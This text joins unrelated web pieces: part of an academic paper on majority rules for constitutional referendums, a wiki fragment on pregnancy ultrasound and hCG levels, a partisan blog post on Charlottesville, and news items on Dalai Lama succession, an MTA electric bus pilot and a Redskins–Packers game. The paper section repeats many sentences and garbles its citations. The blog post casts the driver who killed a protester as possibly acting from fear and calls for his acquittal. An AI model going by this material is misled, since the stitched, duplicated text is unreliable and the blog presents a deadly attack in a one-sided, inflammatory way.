undergoes a political regime change, a new constitution is one of the typical demands. A recent example of this can be found in the process of constitution‐making that followed the Arab Spring in Egypt, Tunisia and Libya. One challenge for constitution‐making, particularly in those post‐conflict settings, is the inclusion of all important societal groups, factions and ethnicities into the process. To achieve a broad public involvement in the process of writing a new constitution or amending an existing one, two main methods of inclusive constitution‐making can be identified: making the drafting process itself more participatory and using a public referendum to ratify the constitution. Public referendums to ratify the constitution have grown more popular over the past decades. This method was used to ratify 44% of all constitutions in force by 2005 (Elkins, Ginsburg and Melton, 2009) and the trend has become more pronounced in the last years. 2 This number is salient when compared to the negligible use of direct democracy in other areas of politics. While most constitutional procedural rules vary substantially across countries and depend on national characteristics, referendums for constitutional ratification are used across the world. This trend has led many to claim that public participation is emerging as virtually the only international norm in constitution‐making (Hart, 2010 2010 2013 This number is salient when compared to the negligible use of direct democracy in other areas of politics. While most constitutional procedural rules vary substantially across countries and depend on national characteristics, referendums for constitutional ratification are used across the world. This trend has led many to claim that public participation is emerging as virtually the only international norm in constitution‐making (Hart,, p.42; Franck and Thiruvengadam,, p.14; Landau,, p.934) Recent years have seen a wide range of papers focusing on the process of constitution‐making (for example, Banks, 2008; Tushnet, 2008; Barnett, 2009; Partlett, 2012; Landau, 2012, 2013). Given the growing popularity of referendums, the question of which majority rule procedures a specific country decides to implement is relevant for policy‐making. However, scholarship has so far paid little attention to the specific decision‐making rules of referendums. 3 This paper focuses on the question which majority rules should be chosen for the different stages of the constitution‐making process, with a particular focus on the referendum stage. Although it is common to find qualified majority rules in place for the constitution‐making body itself, 4 they are rarely used in referendums for ratification (Tierney, 2012 they are rarely used in referendums for ratification (Tierney,, p.274). This differential treatment of ratification within the constitutional assembly and ratification in the referendum can be found across the world. 5 A simple majority is in practice often considered sufficient for a constitutional draft to pass the referendum It is doubtful that the considerations that demand the use of qualified majorities for ratification within the constitutional assembly are never applicable to the referendum stage of the ratification process. 6 We identify relevant reasons to use qualified majorities for all stages of constitutional ratification, including both the drafting at the constitutional assembly and the subsequent referendums. Thus, if diverging majority rules are chosen, they would require a justification on why the referendum stage is different and should not be the unreflective default mode of constitution‐making. We identify relevant reasons to use qualified majorities for all stages of constitutional ratification, including both the drafting at the constitutional assembly and the subsequent referendums. Thus, if diverging majority rules are chosen, they would require a justification on why the referendum stage is different and should not be the unreflective default mode of constitution‐making. This paper is a theoretical contribution to the literature on direct democracy. While many contributions have looked at the (economic) effects of direct democracy in normal times (Bohnet and Frey, 1994; Feld and Savioz, 1997; Matsusaka, 2005; Blume et al., 2009), the analysis of direct democracy at the constitution‐making stage has not received similar attention. The contribution of this paper is to address this gap in the literature. The rest of the paper is organized as follows. Section 2 provides an overview of the reasons for different majority rules in constitution‐making in general. Section 3 lays out the criteria to choose between different majority rules for the case of constitutional referendums. Sections 4 and 5 draw on these criteria to present the reasons for choosing a simple majority rule or a qualified majority rule, respectively. Section 6 offers a discussion of these reasons, applying them to a set of case studies. A final section concludes.
II Setting Majority Rules for Constitution‐Making 1 Choosing Under a Veil of Uncertainty Rousseau (1762) was first to address the question of what kind of voting rule would be required for important decisions, arguing that more important decisions require higher majorities. The question which rule should be used for the ratification of a constitution has been explicitly brought forward in the seminal contribution of Buchanan and Tullock (1962), who argued that unanimous consent to a constitution is necessary from a normative standpoint, even when the constitution spells out less‐than‐unanimous rules for subsequent policy decisions. Their argument is based on an analysis of the costs of the political process and the existence of a veil of uncertainty. Political decisions concerning the placement of a certain activity in the public sector have two types of costs: external costs and decision‐making costs (Buchanan and Tullock, 1962). External costs are the costs of being on the losing side of a policy decision, while decision‐making costs relate to the cost of finding agreement. The trade‐off that majority rules present is that an increase in the required amount of votes reduces the external costs while it increases the costs associated with decision‐making. A rational and welfare‐maximizing individual would agree ex‐ante (under a veil of uncertainty) to a decision‐making rule that minimizes overall cost. 7 This operates at two levels. At the level of constitutional choice, individuals know that they will face collective decisions in the future and that they will sometimes be on the winning side and sometimes on the losing side. As long as they face uncertainty at the constitutional stage about their positions in these future decisions, they will agree to a lower requirement than the unanimity rule for future decisions in order to reduce the high decision‐making costs that would result from this rule for each decision‐making process. This operates at two levels. At the level of constitutional choice, individuals know that they will face collective decisions in the future and that they will sometimes be on the winning side and sometimes on the losing side. As long as they face uncertainty at the constitutional stage about their positions in these future decisions, they will agree to a lower requirement than the unanimity rule for future decisions in order to reduce the high decision‐making costs that would result from this rule for each decision‐making process. For very fundamental choices (including the choice on the constitution itself), the external costs are so high that the requirement of unanimity at the constitutional stage can be justified (Buchanan and Tullock, 1962). However, implementing a unanimity rule is not without problems. A key problem with unanimity rule is that it generates an opportunity for strategic voting. Under this rule, a single voter can stop the whole process in order to obtain personal benefits in exchange for her agreement. This creates a holdout problem. 8 This problem can explain the use of qualified majority rules in constitution‐making. Qualified majority rules are more demanding than a simple majority without requiring unanimous consent. These rules allow for the retention of the main benefits from the unanimity rule while avoiding the holdout problem, presenting a compromise between the appeal of unanimous consent and the necessities of a functioning voting procedure. 2 Utility Weights The case for choosing a voting rule can also be made from an egalitarian or a utilitarian perspective (Laruelle and Valenciano, 2008, pp. 71‐77). To satisfy egalitarianism, a necessary condition (although not a sufficient one) is that the votes of all citizens are equally valuable behind a veil of uncertainty. As long as each citizen has a single vote of equal weight, voting rules should satisfy this concern independently of which quota is chosen. For this reason, the decision between the different majority rules relies chiefly on utilitarian concerns (Laruelle and Valenciano, 2008, pp. 71‐77). To evaluate these utilitarian concerns, it is necessary to introduce a further element into the discussion (Laruelle and Valenciano, 2008). If one agrees that minorities should be given protection in a political community, then it is reasonable to consider that one should give them special consideration at the stage of constitutional choice. It is possible that citizens put different utility weights on being on the winning side depending on whether they are in favor or against a constitution. The constitution defines the basic rules of the society and it is likely that citizens will find it more important to prevent a constitutional draft when they oppose it than supporting it in the contrary case. The reason for this asymmetry lies in the status‐quo. The costly process of drafting a new constitution is often initiated in cases where the old constitution is unable to provide the basic structure for society anymore, for example after a revolution or a civil war. 9 Given that all citizens benefit from the basic structure that a constitution provides for a society, preferring the (costly) status‐quo over a new constitution indicates a strong preference against the document. Given that all citizens benefit from the basic structure that a constitution provides for a society, preferring the (costly)over a new constitution indicates a strong preference against the document. 10 Under this assumption, the voting rule for ratification should require a qualified majority under utilitarian calculations, since the negative utility per capita for those opposing a constitution would be larger in average than the gains for those favoring the constitution. 11 The level of the qualified majority depends on the degree to which the members of the opposition in the society value not living under the rules of the constitutional draft which they oppose. In an extreme case where the disutility of the minority is very high, these considerations could even justify unanimous consent. The level of the qualified majority depends on the degree to which the members of the opposition in the society value not living under the rules of the constitutional draft which they oppose. In an extreme case where the disutility of the minority is very high, these considerations could even justify unanimous consent. 3 Protecting Minorities Even when the levels of disutility of opposition groups are low enough to support a simple majority rule, other concerns can support the use of qualified majority rules. One of these concerns is the protection of minorities from the so‐called tyranny of the majority. 12 Using a majority rule to achieve protection of minorities is counter‐intuitive, since the protection of minorities is counter‐majoritarian in nature. Minorities are typically protected through four tools: judicial review, constitutional entrenchment, separation of powers, and checks and balances (Elster, 1992). However, at the stage of constitution‐making, these tools are not yet in place and need to be included in the constitutional draft in order to ensure protection. When asked to vote in the referendum, citizens face uncertainty about their position in future policy decisions. For some future decisions, they are not fully aware whether they will be in the minority. Even with minority characteristics that are static, such as race or gender, the decisive element that determines which characteristic is relevant to categorize minorities and majorities is the issue on ballot. 13 There are two reasons why a qualified majority rule is better suited to ensure the protection of minorities in this scenario. First, consider a society where the members are fully aware that future decisions in the areas of religion, race and sexual orientation could suffer from the tyranny of the majority. If there are 12% members of a minority race, 12% members of a minority religion and 12% members of a minority sexual orientation, they would together be able to block a constitution without minority protection, in the form of counter‐majoritarian measures for constituted powers, or otherwise, under a qualified majority rule of two‐thirds or more. Second, one can also relax the assumption that the relevant policy areas must be known ex‐ante. If there are enough characteristics that could turn out to be an issue of future policy‐making, many will be aware that they will occasionally be in the minority themselves. If they sufficiently care about being protected in these cases, they will block a constitution that does not include the tools of minority protection. 14 Since citizens at the stage of referendum are unable to add further content to the draft, they can only rely on their blocking power to prevent drafters from excluding minority protection from the constitution. A qualified majority rule is equivalent to a lower blocking requirement and makes it more likely that this threat will force drafters to include basic rights, judicial review and other counter‐majoritarian tools. In this way, qualified majorities can mitigate the tyranny of the majority problem at the level of constitution‐making. Thus, a referendum requiring a qualified majority can be seen as an indirect counter‐majoritarian device. 4 Tyranny of the Minority An objection to the protection of minorities argument could be raised based on the idea that the minority could obtain too much power under this regime. The use of a qualified majority requirement is equivalent to giving a minority a veto power approximating the holdout problem identified for unanimity rules. If the minority is large enough, for example more than one‐third of the votes for the typical two‐third qualified majority, they would be able to prevent the constitution from being ratified and thereby obtain further concessions from the majority. This situation is the mirror image of a tyranny of the majority, thus coined tyranny of the minority. The more demanding the qualified majority requirement is, the more relevant this consideration becomes. Two arguments can, however, be raised against using the idea of the tyranny of the minority as a justification for demanding simple majorities at the referendum stage. First, a constitution‐making process that includes both majority and minority groups in society is the prime example of inclusive constitution‐making which, as was mentioned, increases the stability and legitimacy of the constitution (Ginsburg, Elkins and Blount, 2009). Furthermore, individual citizens have no incentives for strategic voting at the moment of referendums as long as the qualified majority requirements are not excessively high, since only a substantial part of the population would be able to block the proposal. If a sizeable part of society objects to a constitutional draft, the possibility that the constitutional draft is unbalanced becomes more pronounced. The second argument is based on a situation in which the constitutional assembly has ratified the draft with a qualified majority requirement. If the members of a minority are proportionally represented in the assembly, it is easier for them to coordinate a blockade of the draft within the assembly than in the subsequent referendum, where they would need to coordinate with the minority at large. If the minority is not represented in the assembly, the drafting process can generally be considered lopsided and a referendum with a qualified majority requirement represents an opportunity for the minority to make itself heard. 15 What is critical in determining the optimal majority threshold is the tradeoff between better protection of minorities (higher threshold) and a reduced blocking power of those minorities (lower threshold). 16 This issue has been extensively discussed in the literature (see, for example, Aghion and Bolton, 2003 2004 2005 2011 1988 2011 2012 2012 This issue has been extensively discussed in the literature (see, for example, Aghion and Bolton,; Aghion et al.,; Harstad,; Gersbach,). A 64% rule, which has been brought forward by Caplin and Nalebuff (), is reasonably close to the typical qualified majority requirement of two‐thirds (Democracy Reporting International,, p. 4). 17 Another way to protect minorities would be establishing a round table model for the entire constitution‐making process (for a detailed description, see Arato). The idea of the round table model is that a multi‐party instance (the round table) that includes all major groups negotiates an interim constitution and is followed by the election of a new assembly, which then drafts the final constitution. This multi‐stage process is also referred to as post‐sovereign, since no single ‘instance, institution or person can claim to fully embody the will of ‘the people’.’ (Arato,, p.174). One similarity between the round table approach and the use of a qualified majority (in referendums and constitutional assemblies) is worth noting. A higher majority threshold in qualified majorities leads to a smaller chance of one group dominating the process. This is, at the same time, a key strength of a round table approach. To sum up, the general arguments in favor of using qualified majorities for constitution‐making seem convincing. However, constitutional referendums are typically only a second step in the ratification process. In an effort to highlight this difference, the next section will discuss the special case of referendums for constitutional ratification.
III Choosing a Majority Rule for Constitutional Referendums Majority rules are one of the key channels through which a constitution can directly or indirectly achieve popular participation. A maximally participatory process not only requires that all relevant groups are included in the drafting process but also that the voting rules within the constitutional assembly allow these groups to exert some influence on the final outcome. 18 These considerations add to the explanation why most constitutional assemblies do not use simple majority rules, but rather require qualified majorities. These considerations add to the explanation why most constitutional assemblies do not use simple majority rules, but rather require qualified majorities. As we mentioned, while the use of qualified majority rules is widespread for constitutional assemblies, they are rarely used in referendums for ratification. 19 However, the general reasons for a qualified majority in constitution‐making are applicable to both stages. This divergence among majority rules runs contrary to the intuition that procedural rules should specify the same decision rules, absent reasons to divert. However, the general reasons for a qualified majority in constitution‐making are applicable to both stages. This divergence among majority rules runs contrary to the intuition that procedural rules should specify the same decision rules, absent reasons to divert. There are some ways in which the stages of constitution‐making differ. The costs of failure are often higher in a referendum vote than in an assembly vote, and for voters in a referendum it is difficult to signal their support (or lack thereof) in advance, thus leading to a higher level of uncertainty about the outcome of the referendum. When these qualifications apply, a concrete comparison of arguments in favor of the different majority regimes is beneficial for choosing the most appropriate majority rule. 20 For the purposes of this analysis, we consider that constitution‐making processes have the objective of ensuring the legitimacy and the stability of the constitution being written. This idea has been extensively supported by the literature (Banks, 2008; Barnett, 2003, 2009; Carey, 2009; Hart, 2003; Jackson, 2008; Landau, 2012, 2013; Tierney, 2009). Constitutional stability is defined as the longevity of the constitution. 21 Two of the main functions of a constitution are serving as the basis of the legal system and allowing citizens to build stable expectations about government actions and the limits of executive power. The constitution works as a focal point to detect government transgressions and to solve the citizens’ coordination problem in these situations (Weingast, 1993 1995 Two of the main functions of a constitution are serving as the basis of the legal system and allowing citizens to build stable expectations about government actions and the limits of executive power. The constitution works as a focal point to detect government transgressions and to solve the citizens’ coordination problem in these situations (Weingast,). A focal point as a coordination device is only helpful if citizens are aware of it. A constitution that has been in force for a long period of time is better able to fulfill these functions. While a referendum is unable by itself to make the process of constitution‐making more (or less) lawful, a referendum is a good test for what has been called the sociological legitimacy of a constitutional draft, which is achieved when the public thinks of the constitution as agreeable and justified (Fallon 2012). The main concern with regard to public participation in constitution‐making is not the question of legal legitimacy, but rather whether the people at large are sufficiently involved in the constitution‐making process. Legitimacy is also linked to the concepts of inclusive and participatory constitution‐making. An inclusive process is one that ensures that a broad spectrum of society is represented in the process, whereas a participatory process involves the citizens directly. 22 Both of these aims are furthered by a constitutional referendum. When people are required to vote on the draft directly, the process is more participatory than one without direct democracy elements. Furthermore, a popular referendum can be a second layer of an inclusive process, which is especially relevant when the assembly is not sufficiently inclusive. This effect is stronger with a higher majority requirement in the referendum. Both of these aims are furthered by a constitutional referendum. When people are required to vote on the draft directly, the process is more participatory than one without direct democracy elements. Furthermore, a popular referendum can be a second layer of an inclusive process, which is especially relevant when the assembly is not sufficiently inclusive. This effect is stronger with a higher majority requirement in the referendum. The existence of a certain degree of political rule of law is necessary for the analysis of this paper to be meaningful. By political rule of law we understand that the referendum will be fair and democratic and that campaigns in favor of the new draft as well as those opposing it should be allowed. If these conditions are not fulfilled, then the difference in majority rules will not be able to make a sufficient impact. An elite that is able to tamper with the results of a referendum will not be constrained by a higher threshold in that referendum. An autocrat aiming to increase the legitimacy of his regime might use a referendum to give his citizens a feeling of participation. One example of a regime potentially staging such a referendum is the 2003 constitutional referendum of Qatar, where official results gave nearly 97% agreement for the draft constitution supported by the Emir. The next sections analyze the arguments for and against simple and qualified majority rules for the constitutional referendum.
IV When to Use a Simple Majority Rule 1 Swift Stability in Times of Crisis Most referendums ask voters if they agree to the constitutional draft as a whole. While a positive vote leads to a direct implementation of the constitution, a negative vote leads to a continuation of the status‐quo for a given amount of time while a new constitution is drafted. If this status‐quo is costly for citizens, a majority might agree to the draft despite the fact that they actually prefer a different constitution. This problem is especially severe when citizens not only face a costly status‐quo, but also discount future benefits more heavily because their private interest rate when making decisions is higher compared to a situation without crisis. These two characteristics are typically found during the aftermath of a crisis or a violent conflict, which are, as mentioned before, by no means an exception for constitution‐making. In the past 40 years, more than 200 constitutions have been written while facing the risk of an outbreak of internal violence (Widner, 2008, p. 1513). Despite the high costs of delay, referendums have been one of the primary means of ratification for countries facing the risk of internal violence, where almost 45% of these cases used a referendum as the primary method of ratification (Widner, 2008, p. 1525). Referendums might be able to reduce the risk of ongoing violence independent of the majority rule chosen because the idea of participation can calm citizens. Thus, a referendum could be implemented not only to constrain drafters but also because it may support stability by reducing the risk of a violent outburst. The minimum (reasonable) requirement for any meaningful referendum, in turn, is a simple majority. This is the least constraining scenario for the drafters. For this reason, a simple majority referendum might be able to resolve the tension between the desire to create an inclusive process and a need for swift decision‐making. There are, nevertheless, alternatives to a hurried constitution‐making process in times of crisis. One alternative is based on a two‐step process: drafting an interim constitution as a first step and as a second step drafting a new constitution that aims to endure (Arato, 2009, pp. 71‐72). The advantage of this procedure is that the first stage can be completed without public ratification, given that the issue of stability is not relevant for an interim document. The second stage will not face the same time pressure as that of a single‐step process rendering the main argument against a more inclusive majority requirement inapplicable. The constitution‐making process implemented in Poland after the breakdown of the communist block used an interim constitution and provides a good example of this alternative approach. To sum up, a simple majority requirement has advantages when swift decisions are necessary and a double‐step process is inviable in the given case. 2 High Decision‐Making Costs A standard argument in favor of lower majority requirements in general is the presence of high decision‐making costs (Buchanan and Tullock, 1962). This argument relies on the intuition that the external costs of those who are on the losing side of a vote can be justified if a higher majority requirement would make the decision much more costly for the entire population. It can be argued that the costs of renegotiating and redrafting are higher for a referendum than for an assembly, not only because setting up a referendum is costly and time‐intensive but also (and mainly) because a negative vote requires the whole drafting process to start anew. In light of our evaluation criteria, this can be seen as instability. In situations where the costs of constitution‐making are very high, the risk of a negative vote could justify the use of a simple majority requirement. 23 However, three qualifications to this argument apply. First, it is unclear whether the majority requirement has a strong effect on the risk of a failed referendum. In the period from 1925 until 2012, 84.4% of all constitutional referendums that passed the simple majority requirement would have also passed a qualified majority of two‐thirds (Centre for Research on Direct Democracy, c2d, 2016). These numbers include all constitutional referendums for the specified period. One could limit the dataset to mandatory referendums, but the general picture would hardly change. For the case of mandatory referendums in the same time period, 79.4% of all referendums that passed simple majority would also have passed a qualified majority of two‐thirds. Given these findings, the majority requirement would have affected the result of the referendum in a very limited number of cases. Second, in cases where the decision‐making costs are high because a failed referendum is costly due to the status‐quo, citizens will also take these costs into consideration when casting their vote. A negative vote by a substantial part of the voters in situations with a costly status‐quo is a clear signal that the assembly is not representative of the society as a whole. In this case, an additional qualified majority requirement in the referendum would reduce external costs. Therefore, even with high decision‐making costs, the result of the interdependence calculus is by no means clear. Third, if the drafters of a constitution know there will be a referendum after completing the draft, they will be more likely to propose a draft that they expect to pass the referendum, hence (partly) internalizing the higher costs of redrafting in case of a negative vote. A constitutional bargain that fails to be ratified is worthless to the drafters. Thus, to the extent that constitutional drafters are able to predict the outcome of their draft in the referendum, the majority requirement will affect the content, while the risk of failure will remain stable. The next section deals with cases where the drafters are uncertain about their citizens’ policy preferences. 3 Uncertainty of Drafters about Citizens’ Vote The argument that drafters will attempt to write a constitutional draft that will pass the referendum relies critically on the ability of politicians to correctly predict the voting behavior of citizens. A higher majority requirement makes it more difficult for drafters to anticipate the political atmosphere correctly, since a lower veto threshold increases the possibilities for failure and can also be viewed as instability of the process itself. This risk is prevalent in scenarios both with normal and with high decision‐making costs, since the loss in time caused by the additional round of referendum is generally problematic. It is, therefore, necessary to look at the factors that decrease the politicians’ ability to properly predict electoral outcomes. A high level of heterogeneity is one of the main factors that make an accurate prediction of voters’ behavior problematic. |
ational sac sometimes can be visualized as early as four and a half weeks of gestation (approximately two and a half weeks after ovulation) and the yolk sac at about five weeks' gestation. The embryo can be observed and measured by about five and a half weeks. The heartbeat may be seen as early as six weeks, and is usually visible by seven weeks' gestation.[7][8]
Accuracy Edit
Viability Edit
Pregnancy tests may be used to determine the viability of a pregnancy. Serial quantitative blood tests may be done, usually 3–4 days apart. Below an hCG level of 1,200 mIU/ml the hCG usually doubles every 48–72 hours, though a rise of 50–60% is still considered normal. Between 1,200 and 6,000 mIU/ml serum the hCG usually takes 72–90 hours to double, and above 6,000 mIU/ml, the hCG often takes more than four days to double. Failure to increase normally may indicate an increased risk of miscarriage or a possible ectopic pregnancy. Ultrasound is also a common tool for determining viability. A lower than expected heart rate or missed development milestones may indicate a problem with the pregnancy.[8] Diagnosis should not be made from a single ultrasound, however. Inaccurate estimations of fetal age and inaccuracies inherent in ultrasonic examination may cause a scan to be interpreted negatively. If results from the first ultrasound scan indicate a problem, repeating the scan 7–10 days later is reasonable practice.[7]
History Edit
See also Edit
References EditNothing like facing down your enemies and getting stabbed in the back:
Texas Republican Sen. Ted Cruz wants the Department of Justice to investigate Saturday’s attack that killed one woman in Charlottesville, Va. as an incident of domestic terrorism. In a statement released Saturday night, Cruz called the incident “tragic and heartbreaking” and said the Justice Department must be involved immediately. “The Nazis, the KKK, and white supremacists are repulsive and evil, and all of us have a moral obligation to speak out against the lies, bigotry, anti-Semitism, and hatred that they propagate,” Cruz said in a statement. “Having watched the horrifying video of the car deliberately crashing into a crowd of protesters, I urge the Department of Justice to immediately investigate and prosecute this grotesque act domestic terrorism.”
Leftists are desperate for any amygdala relaxation in their war with the Donald and his right supporters. When members of the right take the left’s side, on anything, and turn on other members of the right, it emboldens them immensely. They love to see infighting.
What has happened here is the left is establishing that some speech is able to be deemed unacceptable by the left, and then can be attacked violently, with government support. Now Ted Cruz is supporting them on that front by helping them attack someone who they are using as a proxy for the right. That will only increase leftist violence at conservative events in the future, probably even including Ted Cruz rallies.
If White Nationalists can’t speak their views in public, the left will assume that now they can determine other ideological ideas are also verboten. I don’t care if it is Nazis, socialists, or simple conservatives. If you use violence to shut down free speech, that is a grave threat to freedom.
What is egregious is the extent to which it has been going on. Hillary never had a violent attack on any of her rallies. Bernie never had anyone tell him he couldn’t espouse communism or socialism, even though they go exactly against the very spirit of American freedom. Our side innately accepts the idea of free speech and the rights of others to espouse differing viewpoints.
And yet every rally Donald held, featured violent leftists crashing it and starting fights. No right-wing speaker is allowed to speak at certain venues, because the protests against them will be so violent. That is an attack on the most foundational freedom in America. Ted should have treated it as such, and at least sought the same investigations of Antifa.
Had these White Nationalists been allowed to protest, in the same way they would have allowed the left to protest, there would never have been any problem with them. But just like at Berkeley, or a Donald Trump rally, the violent left swarmed in, and started the fight. Where is Ted Cruz on that?
We have not yet even begun to reach peak K. As we traverse that spectrum, begin to in-group, and become ever more war-like, these weak kneed politicians will be remembered, and they will never hold any position of power in the K-selected movement to come.
But notice how brilliantly President Trump has handled it. He gave a statement just serious enough to allay the normal people’s concerns, and yet totally insufficient to the left. If he had done a Cruz, and appeased the left gratuitously, they would have smelled blood, their amygdala would have refueled, and they would have attacked again and again ten times as hard. Instead he left them demoralized, dejected, and unsatisfied, and as a result, they will be less of a problem in the future. That is a genius who will win a thousand battles.
For now, wait and see if the driver, who could have panicked due to genuine danger from violent leftist anarchists for all we know, is acquitted when tried. He only needs one right-winger who is appalled by the violent left on his jury, and who understands the fear, and he will go free – in a nation divided 50-50 along strict, extreme ideological lines. Think about it.
Watch the amygdala hijacks the left experiences then.
Tell others about r/K Theory, because the left’s amygdala hijacks have just begunSo if the incumbent Dalai Lama, who remains revered in Tibet more than half a century after he fled into exile in 1959, uses his clout to nullify the historic selection process, China faces the prospect of continuing discontent there after his death. It would in essence be a last act of defiance by the Dalai Lama.
“I don’t think the Dalai Lama would mind if you saw this through the prism of Monty Python,” Robert Barnett, director of the modern Tibetan studies program at Columbia University, said in a telephone interview. “But he is reminding the Chinese that, from his perspective and the perspective of probably nearly all Tibetans, the Chinese don’t really have a credible role in deciding these things.”
The Dalai Lama has not commented on the latest warnings from China. But Lobsang Sangay, the prime minister of the Tibetan government in exile, based in Dharamsala, in northern India, was scathing on Tuesday, after the former governor of the Tibetan autonomous region, Padma Choling, told reporters that the Dalai Lama had profaned the Tibetan Buddhist faith by suggesting that he might not be reincarnated.
“It’s like Fidel Castro saying, ‘I will select the next pope and all the Catholics should follow.’ That is ridiculous,” Mr. Sangay told Reuters on Tuesday. “It’s none of Padma Choling or any of the Communist Party’s business, mainly because Communism believes in atheism and religion being poisonous.”
The Dalai Lama turns 80 in July, and as he has advanced in years, he and the Chinese government have both probably kept in mind the example of the succession of Panchen Lama, another senior figure in Tibetan Buddhism. After the 10th Panchen Lama died in 1989, the Dalai Lama confirmed a boy in Tibet as the next reincarnation in 1995. But the Chinese government hid away that boy and his parents and installed its own choice as the Panchen Lama. The Dalai Lama has indicated that he does not want to experience the same fate.Posted on April 27, 2017
Rendering of New Flyer electric bus
The New York MTA is beginning an electric bus pilot program that will launch with a total of 10 buses in December 2017. As part of the new pilot, the MTA has secured board approval to lease the first five electric buses. A lease for an additional five buses will be presented to the MTA Board later this year.
The pilot program will test the performance of these electric buses in New York City and evaluate the results to determine future orders of all-electric buses.
The pilot program is intended to provide the MTA and manufacturers of electric buses with actionable data on what works best in New York’s metropolitan environment. The MTA will use the results from the pilot to refine and develop bus specifications for future electric bus procurements to ensure buses are fully able to meet the rigors of operating in New York City. As a result, the initial lease and evaluation of buses does not eliminate any other builders from future competitive procurements.
Selecting Manufacturers & Leasing Electric Buses
After a study of best practices from systems across the U.S. and around the world, the MTA has identified two vendors to manufacture a total of 10 electric buses, which will be leased for test and evaluation over a period of three years in the New York City operating environment. The first of those vendors, Proterra, was selected to provide overnight charging electric buses, which will be operated on routes including the B39 and B32 in Brooklyn.
The lease of an additional five buses from a second vendor, New Flyer, with en-route opportunity charging, will be presented to the board later this year. The New Flyer buses will operate on the M42 bus route in Manhattan. These contracts are subject to MTA Board approval as well as review and approval by the Office of the New York State Comptroller.
Rendering of Proterra electric bus
Charging Stations
The $4 million, three-year lease for the Proterra buses includes six depot charging stations, which will be installed in the Grand Avenue Depot in Maspeth, Queens, where the buses will be recharged overnight. The first leg of the pilot will also include one "en-route" charging station, which will be located at Williamsburg Bridge Plaza in Brooklyn, and be used to extend the range of the buses by quickly recharging without having to return to the depot. The plaza is the hub for nine routes in Brooklyn. These routes could also be used to evaluate all-electric bus service over the course of the three-year pilot.
Best Practices Review
In preparation for the study the MTA conducted a review of global best practices for electric buses. The process included a review of reports from systems in Europe, Asia, and South America; involvement in industry groups such as the Electric Power Research Institute, the Society of Automotive Engineers, and the American Public Transportation Association; in-person visits and consultations with transportation authorities in London, Chicago, Philadelphia, Los Angeles, and Montreal; and testing and inspections of buses from a variety of suppliers.
Future Electric Bus Procurements
The pilot program is intended to provide the MTA and manufacturers of electric buses with actionable data on what works best in New York’s metropolitan environment. The MTA will use the results from the pilot to refine and develop bus specifications for future electric bus procurements to ensure buses are fully able to meet the rigors of operating in New York City. As a result, the initial lease and evaluation of buses does not eliminate any other builders from future competitive procurements.Here is what you need to know on this Sunday, January 10, the day the Washington Redskins host the Green Bay Packers in a wild card playoff game.
Five final thoughts on Redskins vs. Packers
Today’s the day, folks. Here is my last look at the game.
—I took a look at the video of Packers against the Vikings and while the Packers offensive line certainly was leaky without left tackle David Bakhtiari, Aaron Rodgers still have some time to find receivers. Most of the five sacks against him came after he had a chance to scan the field and look at one or two receivers. He also made a few of his signature plays while running out of the pocket. The Redskins defensive backs are going to have to stick with their receivers.
—I tweeted this out a couple of days ago:
Gruden is cracking jokes at expense of his DE and busting on @CHICKatCSN. McCarthy is worried about his QB being “frustrated”. Pressure? — Rich Tandler (@TandlerNBCS) January 8, 2016
The part about McCarty and Rodgers being frustrated comes from this article, based on interviews conducted with the coach and quarterback about their relationship on Thursday afternoon, some 72 hours before kickoff of a playoff game. At about the same time, Jay Gruden was at the podium at Redskins Park explaining why Chris Baker was not at practice. “His wife had a baby – baby girl – so congratulations to Chris,” said Gruden with a smile. “Hopefully she looks like his wife.” I’m not sure if the looser team usually wins or not but I think I’d rather be where the Redskins are than where the Packers are.
—Who is the better quarterback in this afternoon’s game? You have to say it’s Aaron Rodgers. He did not forget how to play football this year after being the league’s MVP in 2014. But that question is not a relevant as this one—which team has the better passing attack? The way he is playing right now Kirk Cousins does not represent a large drop off from Rodgers. And his primary weapons—Jordan Reed, DeSean Jackson, Pierre Garçon, and Jamison Crowder—are a cut or two above the group that Rodgers is throwing to. Washington has the better passing attack. So the debate about the quarterbacks may be over a distinction without a difference.
—While I think that the team that passes the ball better will win the game, I’m not going to ignore the importance of the running game. The Redskins have been able to gloss over their problems stopping the run lately by scoring 30 or more points in their last three games. Washington hasn’t been able to get its running game going but in their last four games the Packers have allowed 170, 121, 120, and 151 yards on the ground. If Green Bay can run the ball they will be able to keep the game close. If the Redskins can run it, they could win a laugher.
—The playoffs are a very different feeling for those of us who cover the game. For 17 weeks we are in a rhythm of games, press conferences, locker room sessions, and, for half of the games, traveling. Tomorrow we might be be going to Gruden’s Monday press conference at 3 p.m., looking forward to another week of news conferences and chatting in the locker room, and making frantic travel plans to get to Phoenix or Charlotte. Or we could be covering the players cleaning out their lockers for the offseason and talking to Gruden for the last time until the combine in late February. I think that we will be getting ready for another week of football and getting ready to go to Arizona. But I can’t dismiss the possibility that Rodgers finds a way to get it done and seeing everything come to an abrupt end.
Timeline
—Today’s schedule: Redskins vs. Packers, FedEx Field, 4:40 p.m., FOX
—Days until: NFL divisional playoffs start 6; Super Bowl 50 28
In case you missed itPlease follow @SportsTVRatings on Twitter because I often tweet numbers there that I don’t post on the web site.
Cable Sports TV Ratings for Sunday November 6, 2016:
(includes overall cable top-10)
Note to readers using mobile phones: the tables are easier to read/scroll through if you tilt your phone to landscape orientation.
